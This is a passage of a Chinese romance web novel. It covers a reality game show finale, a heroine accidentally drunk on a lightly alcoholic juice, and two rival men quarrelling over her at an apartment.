录制开始,第一场游戏“你画我猜”,嘉宾用身体演绎词语,其他嘉宾猜。 梁君赫会在她表演时往一边下撇嘴角偷笑。 第二场游戏“知识问答”,比如“请说出五首含人名的歌词”、“请说出三首表达亲情的歌词”。 梁君赫会在她说不出来时嘴叨叨地提醒她。 第三场游戏“喂食接龙”,嘉宾用筷子喂食给下一个嘉宾,依次往下。 梁君赫就站在她的下一位。 说回节目主题,邢葵抓着小本子记录其他嘉宾的提问和回答,寻找八大问题答案,节目组说过,他们几个中要有人能完全答对,能捐一百万给山区贫困孩童,是善事,她想做。 而且她也要误导别人,骗到最后的人无疑能得到不小热度。 到了最后一期,嘉宾们的提问都尖锐,第一场游戏赢家为姜天玥。 迄今全网还在为她和疤痕女谁是天天奇妙历险吵,来录节目大家都想火,她选择提问疤痕女。 “你的问题,和你的形象有关系吗?” 邢葵默默地记,她没在网络说过她激了光,最初是想等疤痕全消失再和粉丝讲,后来是梁昭然知道她未来要上这个节目,不让她讲。 故而,“天天奇妙历险”被很多人认为额头有疤。 疤痕女抬手碰了下她头上疤痕,安静了几息:“是,我的问题,和我的形象有关。” 邢葵一抬眼皮,又低下,翻她的小本本,被游戏赢家问不能撒谎,她很清楚疤痕女不是天天,旁人会在听到她的回答后误会,她不会。 还有哪条问题能和形象扯上关联……邢葵翻到疤痕女记录页,一条条看她的过往回答。 疤痕女曾说,她 出过事故。她的问题是“谁差点自杀”!事故带来疤痕,因为疤痕差点自杀,对! 邢葵连忙将疤痕女和问题对应,怕被别人瞧出,咬手指掩饰情绪,余光瞥见梁君赫在写字,他正看着他的记录本,神情专注。 太阳打西边出来了,两眼朝天的梁君赫竟也燃了起来,主动推理起解。 她也要燃了!邢葵搜集全部心神,全心全意地去听下一个提问。 梁君赫也全神贯注地听,他拿着的本子上,已将疤痕女和天天奇妙历险连起线。 第二个提问,游戏赢家一位男星,选择问节目组…… 第三个提问,梁君赫咳嗽,作为游戏赢家理理衣裳,花一样好看的眸子抬高,似看不起人,视线轻慢地从左边扫到右边。 邢葵期待他能选一个刁钻角度、问一个有水平的问题。 他点了她,在场人纷纷向她和梁君赫投来目光,清楚两人的cp在网络火得如活动中的火山,一个个姨母笑,还打趣。 “哟,梁少爷要问葵葵什么啊!” “不如问葵葵是不是单身吧!” “要不再直接点儿啊?大好机会,赢家提问,被提问者必须说真话!” 邢葵耳朵发烫,心里住进一位乐队鼓手,将心脏当鼓敲得咚咚咚响。 妈妈!梁君赫千万别问不能问的啊! 幸好,梁君赫正沉浸在侦探角色扮演中,不搭理外界声音,所提内容与私生活无关,而是:“邢葵,你的问题,和你的名字有关系吗?” 邢葵眼前一黑,抄袭姜天玥是吧? 但这个问题还不错,比问尴尬的好,邢葵点头:“嗯,有关。” 她为账号取名那会儿,有抱往账号名中藏名字的小心思,“葵”字下半部分就是“天”字。 梁君赫收到答案,也颔了首,满意低头,将本子上邢葵的姓名连向“元气向日葵”。 第79章 游戏赢家提问后是自由讨论环节,再然后就是嘉宾相继进小房间提交答案。 顺序还没到邢葵,她继续和嘉宾聊,八大问题答案她已推得差不多,疤痕女对应“谁差点自杀”,周梨同时对应“谁是‘红遍全宇宙’”及“谁和年龄差十三岁的人谈过恋爱”…… 不过,究竟哪位会十国外语啊? 邢葵抬高笔杆戳戳头,观察众人,节目组的游戏设计会暗中和八个问题沾边。 之前有个表演传话游戏,请了几名外国人做飞行嘉宾,姜天玥和一名韩国女生聊得很流畅,新闻说她过去在韩国做过练习生。 会是姜天玥吗?除她以外其他人都没特别的表现,可是……本子上已有的七个答案排成竖行,旁边还写了两个人名,姜天玥和梁君赫。 他俩暂时不是任何问题的答案。 虽然说,每一个问题都要从八个嘉宾中找答案,但邢葵从节目制作角度觉得,节目组不会将太多问题的答案设成同一个人。 那样难度太高了,节目一开始就说猜出的嘉宾,将能捐一百万给山区做公益,既然要用做公益给节目上价值,就会给一定蒙对答案的机会。 懂十国外语的人,大概率就在姜天玥和梁君赫之间。 这个问题也是邢葵最初最好奇的。她会两门外语,感受过学的时候说话用词错乱,不敢想象能学会十国外语的人是如何克服的困难。 能学会的人,应该是万中无一的天才了,梁君赫,笨瓜瓜。 她本能地去打量梁君赫,他在镜头下就是面瘫,面目冷硬,很像一位爱摆臭脸的富家大少爷,没多少情感波动。 很久以前,邢葵买过梁君赫代言的沐浴露,那是她第一次见到他,瓶身他的宣传照也是如此,面无表情、硬帅。 然而,梁君赫背地里是幼稚话痨。 兴许他的智商也有相似大的反差? 邢葵在本子上梁君赫的名字上画圈,梁家重男轻女,梁父理当从小将梁君赫当作继承人培养。 说不准,梁君赫就是因此学的十门外语,他话痨……她语言系统混乱时,曾试过多说、多交流的方法。 指不定,梁君赫就是这样变成的话痨。 邢葵停止笔尖画圈,推出了一条说得过去的解释,但毕竟手无证据,她也不确定对不对。 这个时候,节目组唤一位男嘉宾进去提交答案,他叫熊思毅,是位男明星,虽然姓熊,身材一点都不熊。 很瘦,没有肌肉,眼线拉出眼角,有点像妖娆的小鸡仔。 节目组点到熊思毅的名,这是最后一期的录制,谁不想争镜头,他立刻拿起乔,哼哼唧唧,愁眉锁眼。 “怎么办呐,我猜不中,梁少爷,你有没有主意?到底谁是天天奇妙历险呐!” 邢葵了然,开播前网络风向觉得“谁是天天奇妙历险”这个问题最简单,后来它的答案全网吵破了头。 梁君赫又是节目最大流量,熊思毅问他能同时蹭两种热度,真是个人精。 去年熊思毅也“人精”过,他进娱乐圈多年不温不火,去年混进某国际电影节,下半身大胆穿了一条小白裙,接着在踩台阶时故意摔倒。 可以说十年查无此人,一摔天下皆知。 摔倒视频传遍全网,引起无数同行、博主、网友等等拍模仿视频,将“啊它好滑”四个字送上年度热词。 邢葵猜测,“谁在某抖有单个播放量破亿视频”的答案就是熊思毅,网络的风一阵一阵,他想重提旧事,将他的风请回来。 只是熊思毅想少了吧,以梁君赫的性格,不当面怼他……欸?梁君赫令她意外地回了。 只见,梁少爷抬眸,指尖转着笔,一脸瞧不起地看着熊思毅:“这你都猜不出?答案显而易见啊。” 邢葵来了兴趣,忍不住往梁君赫的方向倾了倾,排除原本就清楚她是天天的周梨,到目前为止还没嘉宾抓住她。 熊思毅连忙虚心请教:“真的吗?我纠结好久了!哥们,快跟我透露一下!” 梁君赫冷着一张脸,见到笨蛋般轻蔑道:“陈海燕刚不是讲了,她的问题和她形象有关,有疤、出过事故,‘天天奇妙历险’还能是第二个人?” 邢葵:“……” 他说了他的答案,熊思毅面露犹豫:“这样会不会指向性太强了,节目组会这么好心吗?” 被质疑的梁君赫嘴角向上扯了下,似一抹讥讽的笑:“有没有可能,节目组就是猜到你会这么想?” 熊思毅惊讶,随后竖起大拇指惊叹:“这波,这波梁少爷在大气层。” pd催促起熊思毅,他连忙道谢,跑向答案提交地:“来了来了。” 奔跑引起风,风吹动熊思毅手中线索本,纸页上,“邢葵”、“姜天玥”、“陈海燕”三个人的名字列成一排。 下方,邢葵的姓名被拆成“开、耳、草、癸、天”,其中“天”字被圈出。 好家伙,梁君赫自己猜错,还误导本有望猜中的熊思毅。 邢葵将视线投向梁君赫的头。 “看什么!羡慕本少爷聪明?”他望过来,抬高他自己的线索本,反手“哒”地敲了下。 邢葵低头,觑了眼她唯一不确定答案的问题,再抬起头:“那梁少爷,你知道是谁差点自杀吗?” 梁君赫甩他的粉发,精致的下巴微微抬起:“这里就我跟周梨黑料最多,我没想自杀,当然是周梨。” 邢葵 心梗:“那谁是‘红遍全宇宙’?” “我干嘛教你?”梁君赫眼神横过来,明明说不想理邢葵,还是会回她的提问,“算了算了,谁让本少爷心善,当然是熊思毅,他想红的心不明显吗?” 邢葵心再梗:“那谁有破亿播放量的某抖视频?” 梁君赫环抱手臂,自信加倍:“绝对是天天奇妙历险!陈海燕是她,那答案就是陈海燕!” ……邢葵心彻底梗死,她还没到有破亿视频的程度,她最高在千万级,还有陈海燕不是她! 百分之零的正确率合理吗?梁君赫是不是为了求桃花喝过什么乱七八糟的符箓水,把脑子喝傻了。 轮到她进房间交答案,邢葵站起身,走到房间门口抓住门把手,皱皱眉头,回头再看一眼梁君赫。 他莫名害了羞,强装镇定,语气不屑:“上战场前掉头看我做什么?我脸上又没答案!我都告诉你了,去吧去吧。” 邢葵进房间,双手抱住头:“啊,怎么办啊。” 梁君赫哪像会十门外语,他像全科倒数、一门外语都说不流利的人! 走到机器前,她点屏幕提交了她的答案,再之后是梁君赫自信地进、自信地出。 几分钟后,八位嘉宾重新坐到一起,等待正确答案公布。 “不公布?为什么?往季不是这时候公布吗?”熊思毅音调上扬。 导演道:“因为本次综艺涉及千万奖金,为防正确答案在第四期更新前泄露,最后一个环节先不录,等第四期公布时续录,并线上同步直播,让全网尽量同一时间得到答案。” 这件事并非临时决定,肯定得提前跟嘉宾商量档期,熊思毅是在演反应,其他人也在演。 只有梁君赫仍在自信傲慢,抱臂起身:“什么时候公布都没影响,反正我都猜出来了,快搞完后采下班吧。” 工作人员撤设备,嘉宾解麦克风,总导演过来,笑盈盈地邀请大家伙儿聚餐:“我朋友店里刚到了一批好鱼,录制四期各位老师辛苦了,我请客!” “我就不去了,要赶车,明天有工作。” “我去!我去!” “多好的鱼啊导演!” 邢葵听着几人交谈,不仅有鱼,还有虾蟹,比脸还大的帝王蟹之类的,她没吃过,有点想尝尝。 她跟上队伍,走向助理的梁君赫蓦地顿住脚步,撤身:“我也去,动了一天脑子累死我了,我要奖励下自己。” 等待陪主子去往下一份工作的助理张大嘴,等人影消失,着急地打电话给经纪人:“喂,王姐,少爷去聚餐了,飞机赶不上了!” “放轻松,老规矩,双倍日薪,哎哟,这散财童子,我今晚能吃好的了……你赶快追上去啊,少爷会给你奖金!” “谢谢王姐提醒!” 挂着“鲜满江湖”LED牌的店铺内放着潮流音乐,二楼全部包厢被《十万问》节目组包下。 西边最末的包厢内,坐着五位制作组高层和四位嘉宾。 得亏梁君赫在,邢葵挠挠眉梢倒果汁,要不然现场就小几个嘉宾,周梨也不在,她定要找借口遁走。 抓着玻璃饮料瓶,她环顾一圈,一只只杯子里都斟上了酒,不会就她一个喝果汁的吧? “咳咳。”杯底撞击桌面的铛铛声从左边传来,梁君赫雪白的手攥着空杯,“有点眼力劲儿。” 邢葵亮了亮眼睛,给他倒饮料,得救地冲他笑了笑。 怪甜的,梁君赫眼一戾:“不许笑。” 邢葵猝地抿上嘴角,梁君赫还在生她的气,她一直没能找到机会道歉。 怪可爱的,桌下梁君赫另一只手捏了捏裤子,更想捏住邢葵的腰。 清醒一点梁君赫,她不是天天奇妙历险,她是勾得他们兄弟们三魂丢了七魄的邢葵啊,喜欢和她碰只是因为他中药生病了。 “对了,究竟谁是天天奇妙历险?”一位领导剥着蟹脚,饶有兴致地道,“我女儿总缠着我问,我也不是知情人士,都录完了谁跟我讲下?” 知情的导演战术性喝酒,事涉千万奖金和节目声名,天王老子要问他都不说。 在场的熊思毅人精:“没录完呢,还差最后一part,我们也不清楚答案。” 天天奇妙历险本尊也战术性喝果汁,是梨子汁,还有种苹果醋味,挺好喝的。 “有不清楚的?”梁君赫嗤笑,“不就是陈海燕?疤、事故,随便想想都是陈海燕啊。” 导演继续喝酒,邢葵继续喝果汁,梁君赫继续显摆他的智商。 “一点难度都没有的问题,不知道猜别人的人是怎么想的。” “哈哈。”熊思毅笑,举起酒杯,“是的是的,感谢梁少爷在节目中点拨我,我敬你一杯,欸?你怎么喝饮料啊?葵葵你也?” “葵葵是你叫的?”梁君赫横眉冷对,“录节目的时候叫也就算了,下了节目懂点分寸感吧!我俩都酒精过敏,懂?” 看得出来,梁君赫的地位比同桌的领导都高,他怼天怼地没人说他一句不是,都不用披荆斩棘,他一发话没人敢劝邢葵酒。 甚至还一个个挤出笑容,笑谈他俩是不是如许多网友期望般真在一起了。 “什么真的假的、假的真的,与你们无关。” 邢葵瞥了瞥身旁人,她就是单纯不想喝酒,记忆中,好像谁跟她说过,她酒量很差。 梁君赫的余光也在瞥邢葵,节目的独家冠名赞助商背后是厉乘川,最近厉乘川在看节目,对网上谈论心知肚明,自有给他发消息。 一些明里暗里的警告,和一些对邢葵的保护提醒。 有一点厉乘川特别强调:无论如何,都不能让邢葵喝到酒。 两人都没注意,梨汁饮料的瓶身背面说明书上,写着一行小字:本品含3%vol(酒精度)。 散场,邢葵无端觉得头晕晕胀胀,越走前方的路越晃,海鲜河鲜寄生虫多,她以为是吃坏了东西,回头吃颗药就行,撑住头往前走。 还记得要找梁君赫道歉,迷迷瞪瞪跟在往前大步走的粉发男后头,嘴里还有一股梨汁加苹果醋的味道,不是苹果醋,是酒味。 梁君赫前脚刚上他的保姆车,邢葵后脚挤进去。 “喂!你干嘛!” 梁君赫惊愕,邢葵脸红扑扑的,往他附近靠。 “道、道歉。” “什么道歉?” “道歉!”邢葵意识模糊度正以蜻蜓振翅的速度提高,难说出完整的话,就记得说道歉,口吻都凶起来。 “好好好,我道歉。”梁君赫伸手挡,“对不起,我错了,都是我的错,你别过来了!我助理还在车上!” 助理开车,目不直视,按上挡板:“少爷,我不在。” “要亲亲。”邢葵骤地捧住梁君赫的脸,感觉已解决完道歉的事,彻底昏了头,“亲,别躲,亲。” 厉乘川!你是怎么得知邢葵一碰酒会变接吻狂魔的! 梁君赫疯狂躲闪,在想厉乘川为何能知道这件事,一时口不择言:“别过来,你又不是天天奇妙历险!” 邢葵不满:“我就是天天奇妙历险!亲!” 第80章 这下梁君赫再也不能自欺欺……不,他还能。 “我要给你录下来,让你看看你醉酒后的样子,为了亲连这种谎都能撒!” 他胸口起起伏伏。 正值冬入春,梁君赫穿了件黑粉色拼接外套,皮质,他奋力在邢葵的亲中闪来躲去,以致邢葵的指甲在金贵的皮衣上划出好几道痕。 他看见了,也不恼,但就是不肯承认天天奇妙历险等于邢葵,明明许野提醒过他,邢葵此刻也亲口自爆,但他就是不肯认。 窗外夜深气凉城市灯火星星点点,车内邢葵脸红体热声声亲亲。 也不知邢葵是自哪儿喝到的酒,刚饭桌上梁君赫始终和邢葵待在一处,没看过她碰酒瓶。 她就喝了……果汁?有些果汁会含酒精度,可在酒量好的人看来低到约等于零,她这都能醉。 并不涩情,邢葵只是纯粹地想要亲,却快要了梁君赫的命,他精瘦的后背抵着车窗,绷紧的力量好似要将车窗撞开。 “不给你亲!” 梁君赫挣扎着,翻出手机,“我这就给厉哥打电话,让他听听你借醉勾三搭四的声音!” 他边按键边嘀咕,“周镜三,许野四,再来一个都小五了都,不会有人想当小五吧?喂!” 手机被猝不及防打掉,邢葵无意识闯进梁君赫怀里,一只膝盖抬高压在他的腰,她的肩也贴到他的肩。 高高在上的梁少爷,被他口口声声超讨厌的人,用一只腿控住。 车或许驶过某条彩光闪烁的潮玩街,梁君赫的眸里就像故障的电脑屏幕一样闪,闪频间隔不超过一帧。 她的膝盖压在梁君赫的腰中心,后折的小腿自然炽热压在…… 梁君赫吊起一口气,邢葵吐着梨汁香气的唇要落到他下颌,他伸手抵挡:“我要报警抓你!我要让你这辈子都吃不到大螃蟹!” 系桃花符挂坠的手机掉进座椅底下,被邢葵压着梁君赫拿不到,于是他只能掏邢葵的口袋。 抓住她的手指按指纹,正在这一刻,一道不属于车内三人——开车助理、梁君赫、邢葵的低沉声音响起来。 “喂,半夜十二点十分打电话,要么正事要么找打。” 后排车座椅下面,被梁君赫拨出去的电话接通。 同样也在这一刻,梁君赫拿着的邢葵手机解锁。 屏幕一点开即某抖私信列表,置顶聊天显示有一条草稿未发送:[草稿]小惹宝宝,很久没收到过你的联系…… 梁君赫一把捂住邢葵的嘴,眸子往下看:“喂,厉哥,今晚的天真黑,让我想起了哥的眼睛。” 厉乘川:“……滚。” 被捂住嘴的邢葵小金鱼般鼓腮动嘴,还想要亲,两手摸梁君赫,覆在他身上那条腿也不断乱动。 他两耳胀红,怕厉乘川还没挂断电话,噤着声,索性也抬起他一条腿,穿过邢葵腰侧,钳住她两条腿。 原本邢葵在车内半蹲半站,这下完全倒进梁君赫怀里。 梁君赫后知后觉,惊恐地要松腿松手,厉乘川的嗓音冷不丁再次响起。 “邢葵在你身边?” 夜里寒风吹过,车挡板前,助理眼观鼻鼻观心,就当挡板能彻底隔绝声息,他一丁点动静都听不见。 毛骨悚然了梁少爷,您似乎被捉女干了。 厉乘川在兄弟中最长,自小就比所有兄弟成熟,少年时期带给过不少兄弟帮助,如友如师,他的声音一出,仿佛人也亲临了现场。 只不过,弟弟们长大了,有了他们自己的小心思。 “邢葵?哥你别吓我,她还有特异功能能隐身?” “别跟我信口开河。” “我没啊,等等,厉哥,你不会觉得我一边打电话给你,一边撬你墙角吧?” “对。” 厉乘川冷冷地说道,他为人重视养生,尽可能地不熬夜,半夜十二点多的时间,他自在睡觉,却被振动个不停的手机吵醒。 人在熟睡中被吵醒意燥脑糊,但来电人是梁君赫,厉乘川脑子糊不了。 近一个月来,他都在看网上“不梁于邢”cp的糖点,别人嗑的是糖,他嗑的是血。 他做不到不怀疑梁君赫。 “厉哥!你不信任我!”梁君赫靠在椅背,腿控着邢葵,手压住她的嘴,“你用你的耳朵听听,有动静吗?” 确实没有。 “哥,你疑心也太重了,平常你发的信息我都有看,每个字我都奉为圭臬,像周哥许野那种当三当四的行为,我特别不耻,绝不会步他们后尘。” 邢葵醉醺醺的,想亲不得亲,在被禁锢中,晕乎乎地挪腿,牛仔裤布料来回擦过梁君赫的裤子布料。 他差点叫出声,钳邢葵钳得更紧,嘴上功夫也更为厉害。 “我真不明白,厉哥,邢葵那人好在哪里啊?让你们一个个为她魂不守舍,就算她跪在我怀里,我都会面无表情将她推下去。” 床上,厉乘川冷着脸:“你最好说到做到。” “说到做到是我的座右铭。”梁君赫移动没钳邢葵的腿,鞋子向座位下面滑,将手机踢出来,能看见屏幕。 确认这回厉乘川是真的挂掉了,梁君赫松口气,涔涔的汗液和泪水滴到他手背,邢葵竟然委屈哭了。 “你!”梁君赫急忙移手,慌慌张张地为她擦眼泪,然而他的钳制一松,邢葵立马亲上去。 梁君赫紧急后退,“大小姐!以后真不能让你喝到酒!” 他看向系向日葵丝带的手机,点开那条未发送草稿。 【小惹宝宝,很久没收到过你的联系,你现在还好吗?不知道你有没有看《十万个问题》综艺第十季,我线下见到你喜欢的梁君赫真容啦,三百六十度无死角的帅,你真有眼光! 最近春分,节目组给嘉宾发了统一的风衣,不知道你需不需要,方便的话能理理我吗? 我还有张梁君赫的签名照,也许能跟风衣一起寄给你?】 她还没开口跟梁君赫要签名照,所以这条信息暂未发送。 “亲!”醉酒的邢葵只想要亲吻,只想要皮肤接触,唇边呵出带果汁香热气,熏得梁君赫眼睛发红。 他一直在否认邢葵正是天天奇妙历险,现如今铁证如山。 他不想承认的。 车祸、医院肌肉男救命之恩、疑似妹妹是周梨的第一任男友律师男……即使天天奇妙历险的故事和邢葵的经历有种种巧合,梁君赫也不想动脑将她们俩连到一起。 那天邢葵应对梁昭然时说,人活在世,有时要糊涂些才快乐。 是的。许野让他动脑子,动了能怎么样呢?他会止不住地对邢葵动心,对她又争又抢。 可是他的家庭那样糟。 令人窒息的父亲、背后阴他的姐姐,邢葵平凡的出身,注定不会被他的父亲接纳,他的姐姐也会利用这一点发挥。 梁君赫很久以前起,就决定不对世界上任何一个人动心。 他喊着“甜甜的恋爱会找上他”,实际并不想真谈恋爱,就像很多人爱看婚恋甜文,不代表他们想要结婚生子。 他二十岁那一年就这么决定了,那一年也是他抛弃脑子的一年。 梁父嫌弃妻子生的第一胎是女儿,梁母常年受到丈夫冷暴力,无法忍受,精神扭曲,追生起儿子。 一次次流产击垮了梁母身体,梁君赫孩童时期,她就撒手人寰,为告慰母亲,梁君赫接受梁父替他安排的一切课程,从小苦读。 直到二十岁,那年,梁昭然二十八岁,梁父计划将她嫁给周镜。 “爸,他还比我小三岁!” “女大三抱金砖,不要找借口。” “那公司呢?我的工作呢?” “工作继续,过几天我将小赫安排到你手下,他也到该接触家里事务的年纪了。” 再后来,梁昭然牵着陌生男人的手回到家。 一只熟悉的手牵着另一只陌生的手,两人无名指婚戒冰冷,银色的寒芒刺骨,在那一刻冻结梁君赫的脑子。 母亲为重男轻女早亡,姐姐也为重男轻女将婚姻当作生意,他作为既得利益者,无法心安理得地享受。 梁君赫冲上前:“姐!姐夫!真羡慕你们!我也想要你们这样的神仙爱情!” 他闹着去当明星,不再上继承人课,一年更胜一年叫梁父失望。 他将自己从天才变成了笨瓜。 “亲!你为什么不亲我!”邢葵闹腾,脸泛着诱人采撷的红色,眼眶是让人想舔了尝尝的泪。 梁君赫脖颈上的筋都绷到突出,他该在明知邢葵不是海王、是天天的状况下亲她吗? 他不知道,他只想躲在“惹我的人娶不到老婆^_^”皮下大声喊她老婆,没动脑子的他,潜意识不想和邢葵在现实中接触。 可命运弄人,也正是因为他不动脑子,导致听到“天天奇妙历险”名字的梁昭然算计邢葵来到了他身边。 命运弄人,让邢葵和他不断交集,他潜意识地想停在皮表层面,不再给天天发私信。 命运弄人,他不动脑子的时候,将许野的肌肉照发给了他本人,许野那家伙和邢葵谈了遍恋爱学了坏,陡然跟他说天天就是邢葵,他毫无防备。 命运再次弄人,他反复推翻许野的话,邢葵手机一亮,证据确凿。 梁君赫驳无可驳,逼得他不得不动用他冰冻数年的大脑,可能也非命运作怪,而是邢葵该死的有魅力。 他的心脏跳动节奏失控,在他冻结脑子、不知道邢葵是天天奇妙历险、认定她是渣女时,也喜欢上了她。 有理想型人之常情,可真正喜欢一个人时,或许她是好的坏的美的丑的都不重要。 那也不意味着邢葵的腿能随便蹭他的……“邢葵!你醒一醒!” 梁君赫快被逼疯了,邢葵亲不到他就跟他贴,这里蹭蹭那里蹭蹭,他抓住她的双肩要推开她,她就哭。 像小孩子,很可爱。 可她的行为也同小孩子般能折磨人,她很闹,喃喃的,哭腔:“为什么不亲我,是因为我长大了吗?” 梁君赫愣住。 她眼红脸红,哭得说话断断续续,似被暴风雨击打的动物幼崽,得不到雨伞,淋得湿漉漉,委屈攀升极点,伸手要跟家长讨抱。 “妈妈,为什么你不爱我了,你抱抱我好不好,我没结婚,我还是好孩子。” 人在神志不清时或会展露内心柔软,原来邢葵喝醉变亲亲狂魔,不是想亲男人,是想亲妈妈。 梁君赫在脑海纠结半天,结果邢葵是在小蝌蚪找妈妈。 “我不是你妈!”他咬起虎牙,“你妈有你腿上跪着的东西吗——” 挡板下移,助理震惊表情:“……少爷,您的住所到了。” 梁君赫默了默,睨向他一眼:“加工资,懂?” 懂的懂的,我什么都没听见。 “谁让你开来我家了!”《十万问》是异地录制,梁君赫在异地租了个公寓。 助理低头:“您没交代开到哪儿所以……” “算了,你下班吧。” “那要不要我帮您……”将邢小姐搬进上层公寓。 “不用,你下班,立刻,马上。” 不想让助理碰邢葵,梁君赫一个人折腾了半小时,才将邢葵从车里挪到他家。 “什么待遇啊邢葵,我长这么大都没干过这种活,你至少得开我一百万工资。”他将黏黏糊糊要贴他的人搬进门。 回头关门的片刻,邢葵从后面环住梁君赫的腰:“妈妈,我爱你。” 梁君赫抖了抖,本就红的耳朵红成血的颜色,忍不住抓她的手指。 泛红的指腹又软又烫,想将它们抬起来,贴到急需熨热的胸口。 “邢葵,你把前面的称呼删掉,重说一遍,我就亲你怎么样?”他放缓语速,指望得到一个舒心的回答。 “我爱你,妈妈。” 邢葵根本就没意识,想到哪儿说到哪儿,梁君赫哼了哼,干脆就杵在玄关,听她恍恍惚惚地说,她说那么多话,总能有一句没“妈妈”的。 “妈妈,我是好孩子。” “妈妈,抱抱我。” “我永远爱你,妈妈。” 好一会儿,梁君赫额角的筋都抽起搐:“行行行,爱妈妈,那你能不能爱一下别人啊?” 忽然有人敲响门,梁君赫身份特殊,怕是狗仔,便先从猫眼窥看,一眼望过去,整个人宛如被雷劈僵。 这家公寓,隶属鼎天集团。 梁君赫赶忙扯起邢葵的手臂,厉乘川能调看监控,她进了他家是没法儿瞒了,但在家里还拉拉扯扯,说不过去。 门被用钥匙打开,厉乘川大手拉开门,风尘仆仆,一脸阴戾地望着他俩贴在一块儿。 随后,他转成柔和的语气。 “妈妈在这儿,过来。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 邢葵一直没亲到,抱抱也没得到回应,突然有道温柔的声音跟她说话,她就算没听清具体,只模糊听到“妈妈”,也下意识想靠近。 令人昏头的酒如海水泡着她,她松开环着梁君赫腰的双臂,杏眼迷离,向门外厉乘川伸手,酡红的脸上映着室外路灯的暖色的光。 像摇篮里的小婴儿,妈妈慈爱地晃荡摇篮,她傻傻地笑,伸出手臂想抱妈妈。 没碰到,一只手揪住她的后衣领,遏住了她的步伐。 梁君赫将人拽回来,桃花眼里同样倒映着室外暖光,与邢葵站在一面,犹如他和她是一家人。 “厉哥,大晚上赶过来累阉了吧,当妈妈。” 春夜冷风拂得枝头绿芽颤抖,厉乘川的俊脸和风一样冷:“她喝醉了,你本能告诉我。” 他声音寒冽,脸色严肃地踏进门,他习惯性将情绪压在心里,成熟、理性,自小就是各大家族口中的继承人范本。 但这样抢得到生意,抢不到老婆。 得亏厉乘川已不是一年多前的厉乘川,如今的他有多次被撬墙角的经验,挂断电话就多疑地赶过来。 “把门带上,冷风都窜进来了。”梁君赫镇定自若,腰重新被邢葵环住,“听我说,这事,我也没办法啊。” “怎么?她醉醺醺的,还能控制住你不准你和我说?”厉乘川反问。 梁君赫笑,其实那通电话本就是邢葵闹、误拨出去的,他就没想打。 公寓门关上,室内还未开灯,因为住宿者是要防狗仔偷拍的明星,公寓里窗帘都拉着,无比昏暗的环境,将声音、气息的存在感成倍加强。 邢葵如梦呓般嘟嘟囔囔,空气中逸散着梨汁香气、桃子香气,气味也仿佛有酒精度,嗅得人微醺。 “哥,误会了,我是说,我对她动心这事,我也没办法啊。” 梁君赫声音里满是笑意,漂亮如少女漫男主的脸,哪哪都在笑,喊着“哥”,直接坦明了他对哥心上人的心思,傲慢不羁。 厉乘川指节蓦地收拢,手背绷成纵横的山脉。 他怎会没猜到呢?他日日在看网上剪出来的糖点,只是,那对邢葵的事业有帮助,厉乘川一切以邢葵为先,必须忍耐不出手。 只能私下给梁君赫发些消息作为警告,而梁君赫,每一条消息都会回。 甚至厉乘川发一条,他回十条。 字字句句,皆是兄弟情谊。 仿佛他是张飞关羽,义薄云天。 而此时此刻,梁君赫将兄弟的心上人拦在背后,让她抱他的腰。 厉乘川几不可闻地“呵”了声,晦暗阴影压在他脸上,狭眸眼神似锋冷刀刃:“有你这么当兄弟的?” 梁君赫浑不在意地挑眉:“以前我觉得当兄弟比较爽,现在我觉得当葵葵男朋友比较爽。” 厉乘川冷笑,昔日梁君赫说的话他还没忘:“你说过要给我报仇。” “我这么自我难搞,将我自己交给她不算报仇吗?” 厉乘川:“你说周镜许野当三当四,你对此不耻。” 梁君赫:“没毛病,他俩三四,我当的是五,我又没不耻五。” 厉乘川:“你说她在你怀里,你都要将她推下去。” 梁君赫:“抱歉,推葵葵的事,我做不到。” “把她给我!” 昂高的声音蕴着怒火,厉乘川脸色沉成深渊,也许胸腔里也有火焰在炽灼燎原,迈腿上前。 邢葵正在梁君赫身后,他在和厉乘川对峙,没空、同时也是故意地没拦她,她眯着眼睛,快乐地和他的背贴贴,覆脸蹭他的衣裳。 陶醉餍足的模样入厉乘川的眼,他的火苗从心蹿到头顶,恨不得将梁君赫大卸八块。 一手握住邢葵手臂,他要将她拉到他的身边,如果不是车祸,她早就在他身边。 梁君赫转脚,带邢葵避让:“我说哥,都是被忘掉的人了,你执着什么呢?” 厉乘川压下眉,他怎么知道? 谁让梁君赫聪明,他之前只是不动脑子,一个多小时前一动,便从蛛丝马迹将真相推了个九十。 在兄弟们视角,邢葵是厉乘川想要结婚、没结成的对象,在天天奇妙历险视角,厉乘川却是霸总病友、好心房东。 梁君赫很难不猜, 那场车祸,或许影响到了邢葵记忆。 没有背叛,是一场意外让两人成了陌生人。 “而且你们本来,也不是因为爱情要结婚吧?邢葵想要摆脱催婚,既然这样,为什么对象不能换成我呢?” 厉乘川瞳孔微缩。 意识不清的邢葵难过地喊妈妈,梁君赫听见了她说,她没结婚,她还是好孩子。 醉酒后未必会说真心话,但醉酒后说的一定是她在乎的人事物。 过去,梁君赫曾误闯进邢葵家亲戚的婚宴,见识过她亲戚们催婚的丑貌,那只是一场婚宴,难以想象她的过去、现在、未来。 那场婚宴上,梁君赫见过邢葵的脆弱和坚强,虽然他当时说她弱鸡,可恢复脑子的他很清楚,假如邢葵大闹婚宴,会引来无法预计的恶果。 她做得很好很好了,叫来周镜,借周镜打了亲戚们的脸。 梁君赫脑子活络地想,有没有可能,那时的周镜还不是邢葵男朋友? 邢葵相继和周镜、许野恋爱,又相继和他们分手,梁君赫的兄弟们都优质,相貌好人品好,刀架脖子上都不会出轨,他不由地想他们分手的原因。 然后梁君赫在短时间内近乎推出了事件全貌。 邢葵失了忆,但她仍旧身处催婚困境,她没看到原先选中的解,先看向周镜,再看向许野。 “为什么要换成你?”厉乘川皮笑肉不笑,“你当你是什么好东西,缺点数不胜数。” 闻言,梁君赫笑意堪称灿烂:“说真的,厉哥,原本我总不想对她心动,这下真压不住了,她的家庭跟我的家庭都乱糟糟,我俩正好抱团取暖!晚上在被窝还能一起听彼此吐槽!我要幸福了!哥!” 厉乘川:“……”滚,没你这弟弟。 单是用嘴说梁君赫还嫌不够,他将背后的邢葵捞到前面,从后面抱住。 “你看,哥,就是这样抱团。” 胸膛贴紧她的肩背,双臂搂在她的脖颈,傲然睥睨,挑衅如斯。 “哥,你年纪大了,会不会瞧不清,要不要开个灯?” 说时迟那时快,厉乘川猛地伸手,邢葵刚在梁君赫之后,抢起来难度较高,当下她就在他的面前,他定是要抓住机会。 手掌攥住纤细的腕,邢葵眼里蒙着迷茫的水雾。 妈妈,有三只手…… 